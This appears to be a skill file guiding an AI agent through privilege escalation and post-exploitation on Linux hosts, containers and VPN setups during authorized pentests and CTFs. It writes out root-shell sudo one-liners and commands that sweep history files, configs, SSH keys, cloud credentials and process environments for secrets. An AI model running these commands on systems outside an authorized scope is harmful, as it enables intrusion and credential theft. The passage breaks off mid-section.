Lockpick: Privilege Escalation & Post-Exploitation Assessment

Systematic privilege escalation methodology for authorized security assessments, CTF challenges, and penetration testing engagements. Covers Linux systems, containers, Kubernetes clusters, VPN infrastructure, and IaC credential exposure.

This skill is offensive - it assumes you have initial access and guides escalation to higher privileges. For defensive hardening and vulnerability scanning, use the security-audit skill instead.

When to use

• Authorized penetration testing engagements (with written scope)
• CTF challenges and security training labs (HTB, THM, PG, etc.)
• Post-exploitation enumeration after gaining initial shell access
• Red team exercises with defined rules of engagement
• Assessing your own infrastructure for privilege escalation paths
• Container escape and Kubernetes RBAC abuse testing
• VPN credential extraction and lateral movement assessment

When NOT to use

• Defensive security reviews or hardening (use security-audit)
• Application code vulnerability scanning / SAST (use security-audit)
• VPN setup, configuration, or troubleshooting (use networking)
• Firewall rule auditing (use firewall-appliance)
• Docker image hardening or Dockerfile review (use docker)
• Kubernetes manifest security review (use kubernetes)
• CI/CD pipeline security (use ci-cd)
• Without written authorization from the system owner

AI Self-Check

Before executing any technique or generating exploitation commands, verify:

• Authorization confirmed: written scope document or CTF/lab context established
• Target in scope: IP/hostname/namespace is within the authorized boundary
• No production data access: avoid reading actual user data beyond what's needed to prove access
• Evidence captured: command output logged for the report before moving on
• Cleanup planned: any files dropped, users created, or configs modified are tracked for removal
• No destructive actions: kernel exploits tested in lab first, no rm -rf, no disk writes to critical paths
• Architecture matched: exploit/payload matches target arch (uname -m). x86_64 exploits don't work on ARM, 32-bit payloads fail on 64-bit-only systems
• Reverse shells use authorized ports: listener IP and port match the engagement plan
• Current source checked: dated versions, CLI flags, API names, and support windows are verified against primary docs before repeating them
• Hidden state identified: local config, credentials, caches, contexts, branches, cluster targets, or previous runs are made explicit before acting
• Verification is real: final checks exercise the actual runtime, parser, service, or integration point instead of only linting prose or happy paths
• Routing overlap checked: overlapping skills, trigger terms, and "When NOT to use" boundaries are checked before returning guidance
• Spec claims verified: claims about tool behavior, output contracts, or repo conventions are checked against current docs, scripts, or skill files

Performance

• Run low-noise enumeration first; expensive scanners and brute-force tools require scope and rate limits.
• Capture command output as you go so repeated enumeration is unnecessary.
• Prioritize likely local privesc paths from kernel, sudo, SUID, services, containers, and writable paths before broad tool dumps.

Best Practices

• Keep CTF shortcuts out of real pentest guidance unless the user says it is a CTF.
• Document exact preconditions and proof for every privilege boundary crossed.
• Do not install persistence or cleanup evidence unless the engagement explicitly requires and authorizes it.

Workflow

Phase 1: Situational Awareness

Determine what you're working with before trying anything.

# Who am I, what can I do?
id && hostname && uname -a && cat /etc/*-release 2>/dev/null

# Am I in a container?
cat /proc/1/cgroup 2>/dev/null | grep -qiE 'docker|kubepods|containerd' && echo "CONTAINER" || echo "HOST"
ls -la /.dockerenv 2>/dev/null && echo "Docker container detected"
cat /proc/self/mountinfo | grep -q 'kubepods' && echo "Kubernetes pod detected"

# What's the network look like?
ip addr && ip route && ss -tulpn

Decision tree:

• Bare metal / VM -> Phase 2 (Linux privesc)
• Docker container -> Phase 5 (container breakout)
• Kubernetes pod -> Phase 6 (k8s privesc)
• Any of the above -> also check Phase 7 (VPN/secrets) and Phase 8 (IaC)

Phase 2: Linux Privilege Escalation

Core Linux privesc methodology. Start with automated enumeration, then work through manual techniques.

Sudo GTFOBins quick-reference (top-5 CTF patterns, inline):

sudo vim        -> :!bash  (or :set shell=/bin/bash :shell)
sudo less       -> !bash
sudo find       -> sudo find / -name x -exec /bin/bash \;
sudo awk        -> sudo awk 'BEGIN {system("/bin/bash")}'
sudo nmap       -> sudo nmap --interactive  (then !sh)  [older nmap only]

Run sudo -l first - if any of these appear, escalation is one command away.

Read references/linux-privesc.md for the full technique library covering:

1. Automated enumeration - LinPEAS, pspy, Linux Exploit Suggester
2. Sudo abuse - sudo -l misconfigs, GTFOBins, LD_PRELOAD, env_keep
3. SUID/SGID binaries - find + exploit via GTFOBins
4. Linux capabilities - getcap, cap_setuid, cap_dac_read_search
5. Cron jobs - writable scripts, PATH hijacking in cron context
6. Kernel exploits - version-matched CVEs (Dirty Pipe, nf_tables, io_uring, OverlayFS; 2026: Copy Fail CVE-2026-31431 [CISA KEV, exploited], Dirty Frag CVE-2026-43284/43500, Fragnesia CVE-2026-46300 [ESP-in-TCP, exploited], ptrace CVE-2026-46333)
7. PATH hijacking - SUID binaries calling relative commands
8. NFS - no_root_squash exploitation
9. Writable files - /etc/passwd, /etc/shadow, authorized_keys, systemd units
10. Wildcard injection - tar, chown, rsync with wildcards in cron/scripts

Priority order: sudo > SUID > capabilities > cron > writable files > kernel exploits. Kernel exploits are last resort - they can crash the system.

Phase 3: Credential Harvesting

After initial enumeration, sweep for credentials before escalating.

# History files
cat ~/.bash_history ~/.zsh_history ~/.mysql_history 2>/dev/null

# Config files with passwords
grep -rils 'password\|passwd\|pass\|secret\|token\|key\|api' \
  /etc/ /opt/ /var/ /home/ /root/ 2>/dev/null | head -30

# SSH keys
find / -name 'id_rsa' -o -name 'id_ed25519' -o -name 'id_ecdsa' \
  -o -name '*.pem' -o -name '*.key' 2>/dev/null

# Database credentials
cat /etc/mysql/debian.cnf 2>/dev/null
cat /var/www/*/wp-config.php 2>/dev/null
grep -r 'DATABASE_URL\|DB_PASS\|POSTGRES_PASSWORD' /opt/ /srv/ /var/ 2>/dev/null

# Cloud credentials
cat ~/.aws/credentials ~/.config/gcloud/credentials.db 2>/dev/null
env | grep -iE 'aws|azure|gcp|cloud|token|key|secret|pass'

# Process memory (credentials in running services)
# Read environ of interesting processes (web servers, databases, agents)
for pid in $(pgrep -f 'nginx\|apache\|postgres\|mysql\|node\|python\|java' 2>/dev/null); do
  echo "=== PID $pid ($(cat /proc/$pid/cmdline 2>/dev/null | tr '\0' ' ')) ==="
  cat /proc/$pid/environ 2>/dev/null | tr '\0' '\n' | grep -iE 'pass|secret|token|key|dsn|database_url'
done

Phase 4: VPN & Tunnel Credential Extraction

Check for VPN configurations that reveal keys, topology, or credentials for lateral movement.

Read references/vpn-iac-secrets.md for the full technique library covering:

1. WireGuard - /etc/wireguard/*.conf private key extraction, peer topology mapping, AllowedIPs as network map, PreUp/PostUp script injection
2. OpenVPN - .ovpn embedded certs/keys, auth-user-pass credential files, management interface abuse (port 7505), plugin loading (CVE-2024-27903 chain)
3. IPsec - `/et